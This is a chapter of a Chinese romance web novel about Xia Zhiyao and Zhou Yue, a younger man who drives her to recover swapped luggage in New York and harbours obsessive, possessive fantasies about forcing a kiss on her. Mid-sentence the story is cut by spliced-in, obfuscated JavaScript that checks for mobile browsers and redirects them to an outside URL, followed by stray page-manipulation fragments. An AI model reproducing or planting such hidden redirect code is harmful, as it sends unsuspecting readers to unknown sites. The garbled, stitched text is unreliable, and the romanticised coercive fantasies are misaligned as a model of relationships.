电话接通的那一瞬间，对面传来一道轻柔却带着探询意味的男声，像风吹进夜色里：“遥遥姐，是我，周越。”
夏知遥指尖顿了一下，差点没认出来。
这声音和记忆里的那个清亮少年完全对不上号，低哑，醇厚，比从前稳了许多，却又藏着点让人说不清的底气，尾音往下压得很稳，带着些笃定。
她挑了挑眉，语气没那么温柔，反倒带了点试探式的戏谑：“怎么想起给我打电话？”
那边沉了一下，随即笑了，声音透着一点懒洋洋的熟稔：“你这个脾气就对味儿。”
“那可不，”她抬手捋了下头发，转身坐进沙发，“不是你小时候哭唧唧找我帮你打架的时候了？”语气说得潇洒，手指却还在桌面上轻敲，明明是放松姿态，却有种压不住的燥。
“说正事说正事，我在校友群看到你发的箱子照片，”他道，“苏以宁，是我同学。”
“是你同学啊。”夏知遥语气一顿，然后凉凉道，“我该谢谢她，让我在纽约的第一夜体验了一把惊喜开局。”
周越轻笑：“她自己都没发现拿错箱子，刚刚我给她打电话才知道。”
夏知遥“啧”了一声：“得亏你看到了，我这边差点给项目方跪下磕头了。”她说得狠，但不是没理，听得出来是在生气，却也只是靠说话发泄一下。
“行李我让她送过来，”周越语气放缓，“你住哪儿？”
周越没多问，语气干脆，像是早就预料到她会这么说：“你把地址发我，我开车过来，咱们一起去。”
他顿了顿，又补了一句：“别耽误你们正事。”
“得嘞。”她抬手拨了下耳边碎发，语气一如既往带着点张扬，“那我就先谢谢你啦。”
周越在那头轻笑了一声，“行，马上。”电话那头静了一秒，然后，是周越那句低得几乎听不清、带着点莫名认真、又有些少年心事的回应：“遥遥姐……等我。”
她叫了程悦，大步走向电梯，懒得收拾情绪，整个人像是重启了节奏，这事她已经处理完，不值当浪费情绪。
可电梯下行的时候，她看着自己在镜面中微翘的唇角，还是小声骂了一句：“这孩子。”
与此同时，周越站在车边，手机还握在手里没收。
他盯着屏幕那行“通话结束”看了两秒，嘴角不受控制地往上翘，像是刚中个小奖，还不太敢确定。
他知道她不会撒娇，不会示弱，她只会一边骂你一边等你，一边翻你白眼一边信你能搞定，可就冲她一句我等你，他哪怕在天边都得赶回来。
他低头笑了一下，眼神藏不住地亮，“她还记得我、还肯见我、还骂我”，是久违的“她还让我靠近一点点”的错觉。
他发动引擎，一边转方向盘一边轻轻叹了口气，嘴里念了一句：“遥遥姐，你说你一点都不想我，我也认了……可你等我这事，能不能再多来几次。”
酒店门外，夜色初沉，空气中还留着热气未散的余温，远处街灯一盏盏亮起，像散落在人间的星子，柔和却不够温暖。
不久后，一辆白色雷克萨斯悄无声息地驶入酒店门廊，车灯在夜色中划出一道柔和的光，稳稳停在阶梯前。
驾驶座车窗缓缓降下，周越微微侧身，额前碎发被风拂起些许，灯光打在他侧脸上，轮廓干净，眉眼沉静，却藏着少年未改的倔劲。
他看她，嗓音不高，却带着毫不客气的理直气壮：“遥遥姐，上车。”
“来得还还挺快，”夏知遥走过去，毫不客气地拉开副驾车门坐了进去，语气里没什么客气。
程悦跟着坐上后座，车门一关，安静一秒。
夏知遥转头看向后视镜，淡淡一眼扫过去：“你带护照了吗？”
“……啊？”程悦明显没反应过来，“没有……在房间。”
夏知遥点了点头，眼神微垂，嗓音还是那种不急不缓的：“回去拿。”
程悦下意识低头：“我以为是您来交接……”
“箱子是你的啊。”她轻声重复，语气几乎没波动，“行李标签上写的也是你的名字。”
“我……”程悦刚想说什么，夏知遥继续说：“还不快点回去拿？”
周越侧头瞥了她一眼，轻轻“咳”了一声，打断了那股凝固的气氛：“没事，我们等等你。”
程悦走了之后，夏知遥看了他几秒，忽然笑了一下，半真半假地说：“你是不是在心里笑话我呢？”
周越耸了耸肩，手扶在方向盘上，侧头看她，眼神平稳却带点掩不住的认真：“我哪儿敢啊，但是从你俩的对话我能看出来，她是不是把什么重要资料放在托运行李里然后拿错了？”
“真聪明。”她声音还是淡，“但我也不能说什么。”夏知遥偏过头看着窗外，街道树影交错，玻璃上映出她眉眼的轮廓，冷静、沉着，甚至有点漠然，
“你知道吗，”她忽然开口，像是说给自己听，“我们当年要是犯这种错……早就卷铺盖走人了。”
“嗯。”周越又是那一声，平静得像水面上的光。
“现在她们一边跟客户说话一边刷手机，任务理解一半还理直气壮。”她顿了顿，语气不再如方才那样柔和，“你说是我们太苛刻，还是这行真的变了？”
周越笑了一下，不带讽刺，更多是某种复杂的理解：“也许是你太不想自己变，所以才觉得别人都变了。”
夏知遥回头看他，眼神里第一次浮起一点锋芒：“你什么意思？”
“没别的意思。”他耸了耸肩，“就是有时候你看得太清楚了，反而容易心软。”
她慢条斯理地靠回椅背，“你是真长本事了，连我都敢调侃？说说吧，这么会说话，找了几个女朋友了？”
周越握着方向盘，像是没料到她这么问，轻轻哼了一声，没正面回答：“哥大商学院课业压力你比我清楚吧？我哪儿有那功夫，我的生活里就是学习，踢球打游戏都是插空。”
她顿了顿，忽然像想起什么似的，又补上一句，带着一点似有若无的调笑：“你也别太晚熟了，不然你爸妈得着急了。”
周越的目光却一刻也没有从她身上移开，她坐在他身边，安安静静的，像一道清冷的影子。风吹乱了她的发丝，落在脸侧，他看见她微垂的睫毛，眼底像藏着无声的夜海。
他忽然意识到，自己肖想了这么多年的人，就这样毫无防备地坐在他身边。
他甚至忍不住去想，如果他现在突然把车门反锁、把她按在这狭小的后座上，轻声在她耳边说“别动”，她会是怎样的反应？
她会惊愕吗？挣扎吗？还是依旧冷静克制地皱眉，然后咬着牙骂他一句“疯了”？
还是……她会像某个深夜的梦里那样，睫毛颤一颤，却没有推开，只是闭着眼睛、任由他吻。
他想象着她被吻得喘不过气的样子，声音哑了、手指紧攥着衣角，却偏偏不说“不”。
他知道这念头病态、失控，像一场连自己都无法否认的劫，可这劫，他早在很久以前就躲不过去了。
可他没有动，只是死死地盯着她，沉静，阴郁，却带着难以忽视的灼热。那是长年累月渴望不得后结出的冷意，也是他用尽全力才压下的妄念。
他心里清楚，他早就不是那个阳光少年了，他笑得再乖，再安静，骨子里却早已长出扭曲的执念，终有一天，她得是他的，只属于他的，在他怀里低头，在他耳边喘息，在他掌心颤抖。
车子继续行驶在纽约的街道上，远处的天际隐约泛着浅金与橘蓝的交界光痕，路灯一盏盏亮起，柔和的光晕洒在车窗上，又被街景切割得斑斓破碎，像一幕幕从现实驶进记忆的静默画面。
红灯前短暂停顿，车流被隔绝在玻璃之外，车厢里一时间静得只剩呼吸声。
夏知遥忽然抬起手，像小时候一样，轻轻拍了拍周越的头。
她刚才那一拍，明明动作轻得像在摸一只小狗，可他差点没忍住当场炸毛。
头皮一瞬发麻，像电流窜过脊背。他不得不压着呼吸，不让声音发抖，她可能永远不会知道，那一记“拍拍头”，对他来说，就像被命令俯首。
“几年不见，”她语气带笑，低低的，像夜风掠过湖面，掀起一点轻柔的漪涟，“你都长这么帅了。”
她那句调侃像是随手抛出，语气漫不经心，霓虹灯影落在她眼底，斑斓而朦胧，如某种尚未明晰的情绪水光。她偏过头看他一眼，唇角轻勾，带着若有似无的笑意，声音不紧不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977815|177885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慢，仿佛随意闲聊，却又像在有意试探：“我记得你去年刚来纽约念硕士，是金融工程？工院的？”
“嗯。”周越双手稳稳握着方向盘，视线望着前方，“现在在做 research project，暑假准备去华尔街实习，做量化方向。”
“还是你们工院好找工作啊。”夏知遥轻叹一声，像是感慨，也像是单纯陈述。
周越侧过头看了她一眼，笑了：“你一个哥大商学院毕业的，怎么还羡慕起别人来了？”周越语气轻，却带了点藏不住的认真，“你那么拼，还能有遗憾？”
夏知遥闻言也笑了笑，靠在副驾的椅背上，看着窗外灯光一晃一晃地后退，低声道：“如果当初留在纽约，可能会有不一样的生活吧。”
周越敏锐地从这句听似随意的话里，听出了一点不对劲，是遗憾？还是逃避？
他侧目看她一眼，却只看到她偏头望着车窗外的天色，神情淡淡，像是真的只是随口一说。
他忽然很想问一句：“你过得不好吗？”
但话到嘴边，他余光瞥见后视镜里，程悦正低头看手机，车里安静而拘谨。他顿了一下，最终什么也没说，只是把那句问话压进喉咙，连着那点突如其来的烦闷，一起咽了下去。
红灯亮了，他缓缓踩下刹车，车稳稳停下。
窗外是夜色中滚动的纽约街景，而车内的空气，却像是被某种未说出口的情绪悄悄冻结。
刚才那一下，他真的差点没绷住，如果她再靠近一点，如果她再笑得温柔一点，他可能就真的，会把她吻在这辆车里，吻得她气喘吁吁，红着眼骂他疯了，吻到她哭出来、推不开他，只能在他怀里发抖。
车子缓缓停稳，轻微的晃动之后，车内安静下来。
周越先一步推门下车，逆光而立，肩背挺直，身形被天际残余的夕光拉出修长的剪影，静静地站在车门一侧，像一段被黄昏剪下的画面。
余晖斜照在他侧脸上，勾勒出清晰的五官轮廓。那双单眼皮眼睛依旧清澈，却早已不再是记忆中带着稚气与依赖的模样，眼神沉稳，藏着长时间打磨后的安静与坚定。
金边眼镜在灯光下微微一闪，光芒转瞬即逝，仿佛一抹理性与距离的注脚，让他整个人多了几分克制与清冷的质感。
他站在风里，头发略长，刘海被微风吹起几缕，没刻意打理，却意外地散着一股干净利落的不羁气息。
他只是站在那里，安静等着夏知遥走下车，可就在这一瞬间，她看着他，忽然觉得有点恍惚。身高不低的她，却在那一刻忽然生出一种，被不动声色地覆盖了半分的错觉。
那个总是黏着她叫“遥遥姐”的少年，好像真的不见了，取而代之的，是个陌生却熟悉的男人，带着一种她曾以为周越永远不会有的锋利和隐忍。
她眯了眯眼，像是认真地打量了一下他，步子轻移，站得离他近了些，忽然抬手在两人之间比了比，唇角一勾，语气带着点打趣的笑意：“又长个了？现在多高？”仿佛唤回了某种早年间的默契。
周越低头看她，那双单眼皮眼睛在斜光下泛着一层柔和的光，唇角缓缓扬起，像懒洋洋地藏着点小骄傲，带着不掩饰的得意：“一米八四。”
夏知遥微微皱眉，眼里却笑意轻浅，像是对这句答案早有预料：“果然，男人一过一米八，就恨不得告诉全世界自己多高。”语气像一句随口的揶揄，柔和却不失锋利，落在耳边，竟带出一点从前的亲昵。
周越低低笑出声，嗓音略哑，尾音藏着一点从少年时代带来的撒娇气：“不是你问我的嘛！”
说完他轻轻一顿，眼底掠过一丝微妙的情绪，像是水面突然被风划过，荡出一圈圈涟漪，却很快又归于平静，他将那点情绪收得很快，又恢复了惯有的清朗模样。
夏知遥看着他，没说话。目光从他眼角扫过，在他下颌略硬的线条处停了一瞬。
他变了，还是那副温文儒雅的外壳，笑起来依旧带着少年气的干净，可骨子里，却多了些她一时间读不清的成分，像沉在水下的礁石，看不见棱角，却能改变潮流。
“走吧。”她转身开口，语气恢复了一贯的干脆利落，脚步落地的节奏稳稳的，像她从来都是那个说走就走的人。